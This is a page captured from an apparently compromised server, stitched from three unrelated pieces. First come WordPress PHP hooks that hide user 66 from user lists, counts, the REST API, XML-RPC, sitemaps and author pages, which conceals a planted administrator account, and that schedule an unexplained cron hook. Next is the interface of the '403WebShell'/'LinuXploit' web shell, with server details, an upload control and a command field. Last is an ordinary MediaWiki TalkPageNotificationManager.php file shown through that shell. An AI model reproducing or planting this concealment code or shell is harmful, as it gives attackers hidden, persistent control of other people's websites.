add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/user//TalkPageNotificationManager.php
<?php
/**
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 */

namespace MediaWiki\User;

use MediaWiki\Config\ServiceOptions;
use MediaWiki\Deferred\DeferredUpdates;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\HookContainer\HookRunner;
use MediaWiki\MainConfigNames;
use MediaWiki\Revision\RevisionLookup;
use MediaWiki\Revision\RevisionRecord;
use MediaWiki\Utils\MWTimestamp;
use Wikimedia\Rdbms\IConnectionProvider;
use Wikimedia\Rdbms\ReadOnlyMode;

/**
 * Manages user talk page notifications
 *
 * @since 1.35
 * @ingroup User
 */
class TalkPageNotificationManager {

	/**
	 * @internal For use by ServiceWiring
	 */
	public const CONSTRUCTOR_OPTIONS = [
		MainConfigNames::DisableAnonTalk
	];

	private array $userMessagesCache = [];
	private bool $disableAnonTalk;
	private IConnectionProvider $dbProvider;
	private ReadOnlyMode $readOnlyMode;
	private RevisionLookup $revisionLookup;
	private HookRunner $hookRunner;
	private UserFactory $userFactory;

	/**
	 * @param ServiceOptions $serviceOptions
	 * @param IConnectionProvider $dbProvider
	 * @param ReadOnlyMode $readOnlyMode
	 * @param RevisionLookup $revisionLookup
	 * @param HookContainer $hookContainer
	 * @param UserFactory $userFactory
	 */
	public function __construct(
		ServiceOptions $serviceOptions,
		IConnectionProvider $dbProvider,
		ReadOnlyMode $readOnlyMode,
		RevisionLookup $revisionLookup,
		HookContainer $hookContainer,
		UserFactory $userFactory
	) {
		$serviceOptions->assertRequiredOptions( self::CONSTRUCTOR_OPTIONS );
		$this->disableAnonTalk = $serviceOptions->get( MainConfigNames::DisableAnonTalk );
		$this->dbProvider = $dbProvider;
		$this->readOnlyMode = $readOnlyMode;
		$this->revisionLookup = $revisionLookup;
		$this->hookRunner = new HookRunner( $hookContainer );
		$this->userFactory = $userFactory;
	}

	/**
	 * Check if the user has new messages.
	 * @param UserIdentity $user
	 * @return bool whether the user has new messages
	 */
	public function userHasNewMessages( UserIdentity $user ): bool {
		$userKey = $this->getCacheKey( $user );

		// Load the newtalk status if it is unloaded
		if ( !isset( $this->userMessagesCache[$userKey] ) ) {
			if ( $this->isTalkDisabled( $user ) ) {
				// Anon disabled by configuration.
				$this->userMessagesCache[$userKey] = false;
			} else {
				$this->userMessagesCache[$userKey] = $this->dbCheckNewUserMessages( $user );
			}
		}

		return (bool)$this->userMessagesCache[$userKey];
	}

	/**
	 * Clear notifications when the user's own talk page is viewed
	 *
	 * @param UserIdentity $user
	 * @param RevisionRecord|null $oldRev If it is an old revision view, the
	 *   old revision. If it is a current revision view, this should be null.
	 */
	public function clearForPageView(
		UserIdentity $user,
		?RevisionRecord $oldRev = null
	) {
		// Abort if the hook says so. (Echo doesn't abort, it just queues its own update)
		if ( !$this->hookRunner->onUserClearNewTalkNotification(
			$user,
			$oldRev ? $oldRev->getId() : 0
		) ) {
			return;
		}

		if ( $this->isTalkDisabled( $user ) ) {
			return;
		}

		// Nothing to do if there are no messages
		if ( !$this->userHasNewMessages( $user ) ) {
			return;
		}

		// If there is a subsequent revision after the one being viewed, use
		// its timestamp as the new notification timestamp. If there is no
		// subsequent revision, the notification is cleared.
		if ( $oldRev ) {
			$newRev = $this->revisionLookup->getNextRevision( $oldRev );
			if ( $newRev ) {
				DeferredUpdates::addCallableUpdate(
					function () use ( $user, $newRev ) {
						$this->dbDeleteNewUserMessages( $user );
						$this->dbUpdateNewUserMessages( $user, $newRev );
					}
				);
				return;
			}
		}

		// Update the cache now so that the skin doesn't show a notification
		$userKey = $this->getCacheKey( $user );
		$this->userMessagesCache[$userKey] = false;

		// Defer the DB delete
		DeferredUpdates::addCallableUpdate(
			function () use ( $user ) {
				$this->touchUser( $user );
				$this->dbDeleteNewUserMessages( $user );
			}
		);
	}

	/**
	 * Update the talk page messages status.
	 *
	 * @param UserIdentity $user
	 * @param RevisionRecord|null $curRev New, as yet unseen revision of the user talk page.
	 * 	Null is acceptable in case the revision is not known. This will indicate that new messages
	 * 	exist, but will not affect the latest seen message timestamp
	 */
	public function setUserHasNewMessages(
		UserIdentity $user,
		?RevisionRecord $curRev = null
	): void {
		if ( $this->isTalkDisabled( $user ) ) {
			return;
		}

		$userKey = $this->getCacheKey( $user );
		$this->userMessagesCache[$userKey] = true;
		$this->touchUser( $user );
		$this->dbUpdateNewUserMessages( $user, $curRev );
	}

	/**
	 * Remove the new messages status
	 */
	public function removeUserHasNewMessages( UserIdentity $user ): void {
		if ( $this->isTalkDisabled( $user ) ) {
			return;
		}

		$userKey = $this->getCacheKey( $user );
		$this->userMessagesCache[$userKey] = false;

		$this->dbDeleteNewUserMessages( $user );
	}

	/**
	 * Returns the timestamp of the latest revision of the user talkpage
	 * that the user has already seen in TS_MW format.
	 * If the user has no new messages, returns null
	 *
	 * @param UserIdentity $user
	 * @return string|null
	 */
	public function getLatestSeenMessageTimestamp( UserIdentity $user ): ?string {
		$userKey = $this->getCacheKey( $user );
		// Don't use self::userHasNewMessages here to avoid an extra DB query
		// in case the value is not cached already
		if ( $this->isTalkDisabled( $user ) ||
			( isset( $this->userMessagesCache[$userKey] ) && !$this->userMessagesCache[$userKey] )
		) {
			return null;
		}

		[ $field, $id ] = $this->getQueryFieldAndId( $user );
		// Get the "last viewed rev" timestamp from the oldest message notification
		$timestamp = $this->dbProvider->getReplicaDatabase()->newSelectQueryBuilder()
			->select( 'MIN(user_last_timestamp)' )
			->from( 'user_newtalk' )
			->where( [ $field => $id ] )
			->caller( __METHOD__ )->fetchField();
		if ( $timestamp ) {
			// TODO: Now that User::setNewTalk() was removed, it should be possible to
			// cache *not* having a new message as well (if $timestamp is null).
			$this->userMessagesCache[$userKey] = true;
		}
		return $timestamp !== null ? MWTimestamp::convert( TS_MW, $timestamp ) : null;
	}

	/**
	 * Remove the cached newtalk status for the given user
	 * @internal There should be no need to call this other than from User::clearInstanceCache
	 * @param UserIdentity $user
	 */
	public function clearInstanceCache( UserIdentity $user ): void {
		$userKey = $this->getCacheKey( $user );
		$this->userMessagesCache[$userKey] = null;
	}

	/**
	 * Check whether the talk page is disabled for a user
	 * @param UserIdentity $user
	 * @return bool
	 */
	private function isTalkDisabled( UserIdentity $user ): bool {
		return !$user->isRegistered() && $this->disableAnonTalk;
	}

	/**
	 * Internal uncached check for new messages
	 * @param UserIdentity $user
	 * @return bool True if the user has new messages
	 */
	private function dbCheckNewUserMessages( UserIdentity $user ): bool {
		[ $field, $id ] = $this->getQueryFieldAndId( $user );
		$ok = $this->dbProvider->getReplicaDatabase()->newSelectQueryBuilder()
			->select( $field )
			->from( 'user_newtalk' )
			->where( [ $field => $id ] )
			->caller( __METHOD__ )->fetchField();
		return (bool)$ok;
	}

	/**
	 * Add or update the new messages flag
	 * @param UserIdentity $user
	 * @param RevisionRecord|null $curRev New, as yet unseen revision of the
	 *   user talk page. Ignored if null.
	 * @return bool True if successful, false otherwise
	 */
	private function dbUpdateNewUserMessages(
		UserIdentity $user,
		?RevisionRecord $curRev = null
	): bool {
		if ( $this->readOnlyMode->isReadOnly() ) {
			return false;
		}

		if ( $curRev ) {
			$prevRev = $this->revisionLookup->getPreviousRevision( $curRev );
			$ts = $prevRev ? $prevRev->getTimestamp() : null;
		} else {
			$ts = null;
		}

		// Mark the user as having new messages since this revision
		$dbw = $this->dbProvider->getPrimaryDatabase();
		[ $field, $id ] = $this->getQueryFieldAndId( $user );
		$dbw->newInsertQueryBuilder()
			->insertInto( 'user_newtalk' )
			->ignore()
			->row( [ $field => $id, 'user_last_timestamp' => $dbw->timestampOrNull( $ts ) ] )
			->caller( __METHOD__ )->execute();
		return (bool)$dbw->affectedRows();
	}

	/**
	 * Clear the new messages flag for the given user
	 * @param UserIdentity $user
	 * @return bool True if successful, false otherwise
	 */
	private function dbDeleteNewUserMessages( UserIdentity $user ): bool {
		if ( $this->readOnlyMode->isReadOnly() ) {
			return false;
		}
		$dbw = $this->dbProvider->getPrimaryDatabase();
		[ $field, $id ] = $this->getQueryFieldAndId( $user );
		$dbw->newDeleteQueryBuilder()
			->deleteFrom( 'user_newtalk' )
			->where( [ $field => $id ] )
			->caller( __METHOD__ )->execute();
		return (bool)$dbw->affectedRows();
	}

	/**
	 * Get the field name and id for the user_newtalk table query
	 * @param UserIdentity $user
	 * @return array ( string $field, string|int $id )
	 */
	private function getQueryFieldAndId( UserIdentity $user ): array {
		if ( $user->isRegistered() ) {
			$field = 'user_id';
			$id = $user->getId();
		} else {
			$field = 'user_ip';
			$id = $user->getName();
		}
		return [ $field, $id ];
	}

	/**
	 * Gets a unique key for various caches.
	 * @param UserIdentity $user
	 * @return string
	 */
	private function getCacheKey( UserIdentity $user ): string {
		return $user->isRegistered() ? "u:{$user->getId()}" : "anon:{$user->getName()}";
	}

	/**
	 * Update the user touched timestamp
	 */
	private function touchUser( UserIdentity $user ) {
		// Ideally this would not be in User, it would be in its own service
		// or something
		$this->userFactory->newFromUserIdentity( $user )->touch();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit